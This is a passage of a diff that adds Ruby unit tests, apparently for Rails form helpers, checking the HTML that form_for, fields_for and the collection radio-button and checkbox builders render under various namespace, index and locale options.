+      "<button name='button' type='submit'>Create post</button>" \
+      "<button name='button' type='submit'><span>Create post</span></button>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_radio_buttons
+    post = Post.new
+    def post.active; false; end
+    form_for(post) do |f|
+      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<input type='hidden' name='post[active]' value='' />" \
+      "<input id='post_active_true' name='post[active]' type='radio' value='true' />" \
+      "<label for='post_active_true'>true</label>" \
+      "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" \
+      "<label for='post_active_false'>false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_radio_buttons_with_custom_builder_block
+    post = Post.new
+    def post.active; false; end
+
+    form_for(post) do |f|
+      rendered_radio_buttons = f.collection_radio_buttons(:active, [true, false], :to_s, :to_s) do |b|
+        b.label { b.radio_button + b.text }
+      end
+      concat rendered_radio_buttons
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<input type='hidden' name='post[active]' value='' />" \
+      "<label for='post_active_true'>" \
+      "<input id='post_active_true' name='post[active]' type='radio' value='true' />" \
+      "true</label>" \
+      "<label for='post_active_false'>" \
+      "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" \
+      "false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_radio_buttons_with_custom_builder_block_does_not_leak_the_template
+    post = Post.new
+    def post.active; false; end
+    def post.id; 1; end
+
+    form_for(post) do |f|
+      rendered_radio_buttons = f.collection_radio_buttons(:active, [true, false], :to_s, :to_s) do |b|
+        b.label { b.radio_button + b.text }
+      end
+      concat rendered_radio_buttons
+      concat f.hidden_field :id
+    end
+
+    expected = whole_form("/posts", "new_post_1", "new_post") do
+      "<input type='hidden' name='post[active]' value='' />" \
+      "<label for='post_active_true'>" \
+      "<input id='post_active_true' name='post[active]' type='radio' value='true' />" \
+      "true</label>" \
+      "<label for='post_active_false'>" \
+      "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" \
+      "false</label>" \
+      "<input id='post_id' name='post[id]' type='hidden' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_namespace_and_with_collection_radio_buttons
+    post = Post.new
+    def post.active; false; end
+
+    form_for(post, namespace: "foo") do |f|
+      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+    end
+
+    expected = whole_form("/posts", "foo_new_post", "new_post") do
+      "<input type='hidden' name='post[active]' value='' />" \
+      "<input id='foo_post_active_true' name='post[active]' type='radio' value='true' />" \
+      "<label for='foo_post_active_true'>true</label>" \
+      "<input checked='checked' id='foo_post_active_false' name='post[active]' type='radio' value='false' />" \
+      "<label for='foo_post_active_false'>false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_index_and_with_collection_radio_buttons
+    post = Post.new
+    def post.active; false; end
+
+    form_for(post, index: "1") do |f|
+      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<input type='hidden' name='post[1][active]' value='' />" \
+      "<input id='post_1_active_true' name='post[1][active]' type='radio' value='true' />" \
+      "<label for='post_1_active_true'>true</label>" \
+      "<input checked='checked' id='post_1_active_false' name='post[1][active]' type='radio' value='false' />" \
+      "<label for='post_1_active_false'>false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_check_boxes
+    post = Post.new
+    def post.tag_ids; [1, 3]; end
+    collection = (1..3).map { |i| [i, "Tag #{i}"] }
+    form_for(post) do |f|
+      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" \
+      "<label for='post_tag_ids_1'>Tag 1</label>" \
+      "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" \
+      "<label for='post_tag_ids_2'>Tag 2</label>" \
+      "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" \
+      "<label for='post_tag_ids_3'>Tag 3</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_check_boxes_with_custom_builder_block
+    post = Post.new
+    def post.tag_ids; [1, 3]; end
+    collection = (1..3).map { |i| [i, "Tag #{i}"] }
+    form_for(post) do |f|
+      rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
+        b.label { b.check_box + b.text }
+      end
+      concat rendered_check_boxes
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<label for='post_tag_ids_1'>" \
+      "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" \
+      "Tag 1</label>" \
+      "<label for='post_tag_ids_2'>" \
+      "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" \
+      "Tag 2</label>" \
+      "<label for='post_tag_ids_3'>" \
+      "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" \
+      "Tag 3</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_collection_check_boxes_with_custom_builder_block_does_not_leak_the_template
+    post = Post.new
+    def post.tag_ids; [1, 3]; end
+    def post.id; 1; end
+    collection = (1..3).map { |i| [i, "Tag #{i}"] }
+
+    form_for(post) do |f|
+      rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
+        b.label { b.check_box + b.text }
+      end
+      concat rendered_check_boxes
+      concat f.hidden_field :id
+    end
+
+    expected = whole_form("/posts", "new_post_1", "new_post") do
+      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<label for='post_tag_ids_1'>" \
+      "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" \
+      "Tag 1</label>" \
+      "<label for='post_tag_ids_2'>" \
+      "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" \
+      "Tag 2</label>" \
+      "<label for='post_tag_ids_3'>" \
+      "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" \
+      "Tag 3</label>" \
+      "<input id='post_id' name='post[id]' type='hidden' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_namespace_and_with_collection_check_boxes
+    post = Post.new
+    def post.tag_ids; [1]; end
+    collection = [[1, "Tag 1"]]
+
+    form_for(post, namespace: "foo") do |f|
+      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+    end
+
+    expected = whole_form("/posts", "foo_new_post", "new_post") do
+      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<input checked='checked' id='foo_post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" \
+      "<label for='foo_post_tag_ids_1'>Tag 1</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_index_and_with_collection_check_boxes
+    post = Post.new
+    def post.tag_ids; [1]; end
+    collection = [[1, "Tag 1"]]
+
+    form_for(post, index: "1") do |f|
+      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<input name='post[1][tag_ids][]' type='hidden' value='' />" \
+      "<input checked='checked' id='post_1_tag_ids_1' name='post[1][tag_ids][]' type='checkbox' value='1' />" \
+      "<label for='post_1_tag_ids_1'>Tag 1</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_file_field_generate_multipart
+    form_for(@post, html: { id: "create-post" }) do |f|
+      concat f.file_field(:file)
+    end
+
+    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch", multipart: true) do
+      "<input name='post[file]' type='file' id='post_file' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_file_field_generate_multipart
+    form_for(@post) do |f|
+      concat f.fields_for(:comment, @post) { |c|
+        concat c.file_field(:file)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch", multipart: true) do
+      "<input name='post[comment][file]' type='file' id='post_comment_file' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_format
+    form_for(@post, format: :json, html: { id: "edit_post_123", class: "edit_post" }) do |f|
+      concat f.label(:title)
+    end
+
+    expected = whole_form("/posts/123.json", "edit_post_123", "edit_post", method: "patch") do
+      "<label for='post_title'>Title</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_model_using_relative_model_naming
+    blog_post = Blog::Post.new("And his name will be forty and four.", 44)
+
+    form_for(blog_post) do |f|
+      concat f.text_field :title
+      concat f.submit("Edit post")
+    end
+
+    expected = whole_form("/posts/44", "edit_post_44", "edit_post", method: "patch") do
+      "<input name='post[title]' type='text' id='post_title' value='And his name will be forty and four.' />" \
+      "<input name='commit' data-disable-with='Edit post' type='submit' value='Edit post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_symbol_as
+    form_for(@post, as: "other_name", html: { id: "create-post" }) do |f|
+      concat f.label(:title, class: "post_title")
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+      concat f.submit("Create post")
+    end
+
+    expected = whole_form("/posts/123", "create-post", "edit_other_name", method: "patch") do
+      "<label for='other_name_title' class='post_title'>Title</label>" \
+      "<input name='other_name[title]' id='other_name_title' value='Hello World' type='text' />" \
+      "<textarea name='other_name[body]' id='other_name_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='other_name[secret]' value='0' type='hidden' />" \
+      "<input name='other_name[secret]' checked='checked' id='other_name_secret' value='1' type='checkbox' />" \
+      "<input name='commit' value='Create post' data-disable-with='Create post' type='submit' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_tags_do_not_call_private_properties_on_form_object
+    obj = Class.new do
+      private
+
+        def private_property
+          raise "This method should not be called."
+        end
+    end.new
+
+    form_for(obj, as: "other_name", url: "/", html: { id: "edit-other-name" }) do |f|
+      assert_raise(NoMethodError) { f.hidden_field(:private_property) }
+    end
+  end
+
+  def test_form_for_with_method_as_part_of_html_options
+    form_for(@post, url: "/", html: { id: "create-post", method: :delete }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/", "create-post", "edit_post", method: "delete") do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_method
+    form_for(@post, url: "/", method: :delete, html: { id: "create-post" }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/", "create-post", "edit_post", method: "delete") do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_search_field
+    # Test case for bug which would emit an "object" attribute
+    # when used with form_for using a search_field form helper
+    form_for(Post.new, url: "/search", html: { id: "search-post", method: :get }) do |f|
+      concat f.search_field(:title)
+    end
+
+    expected = whole_form("/search", "search-post", "new_post", method: "get") do
+      "<input name='post[title]' type='search' id='post_title' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_remote
+    form_for(@post, url: "/", remote: true, html: { id: "create-post", method: :patch }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/", "create-post", "edit_post", method: "patch", remote: true) do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_enforce_utf8_true
+    form_for(:post, enforce_utf8: true) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form("/", nil, nil, enforce_utf8: true) do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_enforce_utf8_false
+    form_for(:post, enforce_utf8: false) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form("/", nil, nil, enforce_utf8: false) do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_remote_in_html
+    form_for(@post, url: "/", html: { remote: true, id: "create-post", method: :patch }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/", "create-post", "edit_post", method: "patch", remote: true) do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_remote_without_html
+    @post.persisted = false
+    @post.stub(:to_key, nil) do
+      form_for(@post, remote: true) do |f|
+        concat f.text_field(:title)
+        concat f.text_area(:body)
+        concat f.check_box(:secret)
+      end
+
+      expected = whole_form("/posts", "new_post", "new_post", remote: true) do
+        "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+        "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+        "<input name='post[secret]' type='hidden' value='0' />" \
+        "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_form_for_without_object
+    form_for(:post, html: { id: "create-post" }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/", "create-post") do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_index
+    form_for(@post, as: "post[]") do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/posts/123", "edit_post[]", "edit_post[]", method: "patch") do
+      "<label for='post_123_title'>Title</label>" \
+      "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" \
+      "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[123][secret]' type='hidden' value='0' />" \
+      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_nil_index_option_override
+    form_for(@post, as: "post[]", index: nil) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/posts/123", "edit_post[]", "edit_post[]", method: "patch") do
+      "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" \
+      "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[][secret]' type='hidden' value='0' />" \
+      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_label_error_wrapping
+    form_for(@post) do |f|
+      concat f.label(:author_name, class: "label")
+      concat f.text_field(:author_name)
+      concat f.submit("Create post")
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" \
+      "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" \
+      "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_label_error_wrapping_without_conventional_instance_variable
+    post = remove_instance_variable :@post
+
+    form_for(post) do |f|
+      concat f.label(:author_name, class: "label")
+      concat f.text_field(:author_name)
+      concat f.submit("Create post")
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" \
+      "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" \
+      "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_label_error_wrapping_block_and_non_block_versions
+    form_for(@post) do |f|
+      concat f.label(:author_name, "Name", class: "label")
+      concat f.label(:author_name, class: "label") { "Name" }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>" \
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_namespace
+    form_for(@post, namespace: "namespace") do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/posts/123", "namespace_edit_post_123", "edit_post", method: "patch") do
+      "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' id='namespace_post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_namespace_with_date_select
+    form_for(@post, namespace: "namespace") do |f|
+      concat f.date_select(:written_on)
+    end
+
+    assert_select "select#namespace_post_written_on_1i"
+  end
+
+  def test_form_for_with_namespace_with_label
+    form_for(@post, namespace: "namespace") do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form("/posts/123", "namespace_edit_post_123", "edit_post", method: "patch") do
+      "<label for='namespace_post_title'>Title</label>" \
+      "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_namespace_and_as_option
+    form_for(@post, namespace: "namespace", as: "custom_name") do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form("/posts/123", "namespace_edit_custom_name", "edit_custom_name", method: "patch") do
+      "<input id='namespace_custom_name_title' name='custom_name[title]' type='text' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_two_form_for_with_namespace
+    form_for(@post, namespace: "namespace_1") do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    expected_1 = whole_form("/posts/123", "namespace_1_edit_post_123", "edit_post", method: "patch") do
+      "<label for='namespace_1_post_title'>Title</label>" \
+      "<input name='post[title]' type='text' id='namespace_1_post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected_1, output_buffer
+
+    form_for(@post, namespace: "namespace_2") do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    expected_2 = whole_form("/posts/123", "namespace_2_edit_post_123", "edit_post", method: "patch") do
+      "<label for='namespace_2_post_title'>Title</label>" \
+      "<input name='post[title]' type='text' id='namespace_2_post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected_2, output_buffer
+  end
+
+  def test_fields_for_with_namespace
+    @comment.body = "Hello World"
+    form_for(@post, namespace: "namespace") do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.fields_for(@comment) { |c|
+        concat c.text_field(:body)
+      }
+    end
+
+    expected = whole_form("/posts/123", "namespace_edit_post_123", "edit_post", method: "patch") do
+      "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" \
+      "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[comment][body]' type='text' id='namespace_post_comment_body' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_submit_with_object_as_new_record_and_locale_strings
+    with_locale :submit do
+      @post.persisted = false
+      @post.stub(:to_key, nil) do
+        form_for(@post) do |f|
+          concat f.submit
+        end
+
+        expected = whole_form("/posts", "new_post", "new_post") do
+          "<input name='commit' data-disable-with='Create Post' type='submit' value='Create Post' />"
+        end
+
+        assert_dom_equal expected, output_buffer
+      end
+    end
+  end
+
+  def test_submit_with_object_as_existing_record_and_locale_strings
+    with_locale :submit do
+      form_for(@post) do |f|
+        concat f.submit
+      end
+
+      expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+        "<input name='commit' data-disable-with='Confirm Post changes' type='submit' value='Confirm Post changes' />"
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_submit_without_object_and_locale_strings
+    with_locale :submit do
+      form_for(:post) do |f|
+        concat f.submit class: "extra"
+      end
+
+      expected = whole_form do
+        "<input name='commit' class='extra' data-disable-with='Save changes' type='submit' value='Save changes' />"
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_submit_with_object_and_nested_lookup
+    with_locale :submit do
+      form_for(@post, as: :another_post) do |f|
+        concat f.submit
+      end
+
+      expected = whole_form("/posts/123", "edit_another_post", "edit_another_post", method: "patch") do
+        "<input name='commit' data-disable-with='Update your Post' type='submit' value='Update your Post' />"
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_nested_fields_for
+    @comment.body = "Hello World"
+    form_for(@post) do |f|
+      concat f.fields_for(@comment) { |c|
+        concat c.text_field(:body)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<input name='post[comment][body]' type='text' id='post_comment_body' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_deep_nested_fields_for
+    @comment.save
+    form_for(:posts) do |f|
+      f.fields_for("post[]", @post) do |f2|
+        f2.text_field(:id)
+        @post.comments.each do |comment|
+          concat f2.fields_for("comment[]", comment) { |c|
+            concat c.text_field(:name)
+          }
+        end
+      end
+    end
+
+    expected = whole_form do
+      "<input name='posts[post][0][comment][1][name]' type='text' id='posts_post_0_comment_1_name' value='comment #1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_nested_collections
+    form_for(@post, as: "post[]") do |f|
+      concat f.text_field(:title)
+      concat f.fields_for("comment[]", @comment) { |c|
+        concat c.text_field(:name)
+      }
+      concat f.text_field(:body)
+    end
+
+    expected = whole_form("/posts/123", "edit_post[]", "edit_post[]", method: "patch") do
+      "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" \
+      "<input name='post[123][comment][][name]' type='text' id='post_123_comment__name' value='new comment' />" \
+      "<input name='post[123][body]' type='text' id='post_123_body' value='Back to the hill and over it again!' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_index_and_parent_fields
+    form_for(@post, index: 1) do |c|
+      concat c.text_field(:title)
+      concat c.fields_for("comment", @comment, index: 1) { |r|
+        concat r.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<input name='post[1][title]' type='text' id='post_1_title' value='Hello World' />" \
+      "<input name='post[1][comment][1][name]' type='text' id='post_1_comment_1_name' value='new comment' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_index_and_nested_fields_for
+    output_buffer = form_for(@post, index: 1) do |f|
+      concat f.fields_for(:comment, @post) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<input name='post[1][comment][title]' type='text' id='post_1_comment_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_index_on_both
+    form_for(@post, index: 1) do |f|
+      concat f.fields_for(:comment, @post, index: 5) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<input name='post[1][comment][5][title]' type='text' id='post_1_comment_5_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_auto_index
+    form_for(@post, as: "post[]") do |f|
+      concat f.fields_for(:comment, @post) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post[]", "edit_post[]", method: "patch") do
+      "<input name='post[123][comment][title]' type='text' id='post_123_comment_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_index_radio_button
+    form_for(@post) do |f|
+      concat f.fields_for(:comment, @post, index: 5) { |c|
+        concat c.radio_button(:title, "hello")
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<input name='post[comment][5][title]' type='radio' id='post_comment_5_title_hello' value='hello' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_auto_index_on_both
+    form_for(@post, as: "post[]") do |f|
+      concat f.fields_for("comment[]", @post) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post[]", "edit_post[]", method: "patch") do
+      "<input name='post[123][comment][123][title]' type='text' id='post_123_comment_123_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_index_and_auto_index
+    output_buffer = form_for(@post, as: "post[]") do |f|
+      concat f.fields_for(:comment, @post, index: 5) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    output_buffer << form_for(@post, as: :post, index: 1) do |f|
+      concat f.fields_for("comment[]", @post) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post[]", "edit_post[]", method: "patch") do
+      "<input name='post[123][comment][5][title]' type='text' id='post_123_comment_5_title' value='Hello World' />"
+    end + whole_form("/posts/123", "edit_post", "edit_post", method: "patch") do
+      "<input name='post[1][comment][123][title]' type='text' id='post_1_comment_123_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_a_new_record_on_a_nested_attributes_one_to_one_association
+    @post.author = Author.new
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+        '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="new author" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
+    form_for(@post) do |f|
+      f.fields_for(:author, Author.new(123)) do |af|
+        assert_not_nil af.object
+        assert_equal 123, af.object.id
+      end
+    end
+  end
+
+  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association
+    @post.author = Author.new(321)
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' \
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_using_erb_and_inline_block
+    @post.author = Author.new(321)
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' \
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id
+    @post.author = Author.new(321)
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
